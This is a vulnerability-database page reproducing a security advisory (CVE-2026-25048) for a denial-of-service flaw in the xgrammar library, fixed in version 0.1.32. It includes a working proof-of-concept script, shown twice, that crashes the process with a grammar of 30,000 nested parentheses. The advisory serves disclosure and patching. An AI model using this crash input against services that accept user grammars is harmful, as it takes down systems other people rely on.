GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-7RGV-GQHR-FXG3

Vulnerability from github – Published: 2026-03-05 18:20 – Updated: 2026-03-05 20:42
VLAI
Summary
xgrammar vulnerable to DoS via multi-layer nesting
Details

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"

    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)

    # Math expression grammar
    math_grammar = grammar

    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)

    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)

    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)

    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )

    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )

    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()

> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.31"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "xgrammar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:20:08Z",
    "nvd_published_at": "2026-03-05T16:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = \u0027(\u0027 * 30000 + \u0027a\u0027\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n\u003e pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n\u003e python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS",
  "id": "GHSA-7rgv-gqhr-fxg3",
  "modified": "2026-03-05T20:42:15Z",
  "published": "2026-03-05T18:20:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25048"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlc-ai/xgrammar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xgrammar vulnerable to DoS via multi-layer nesting"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.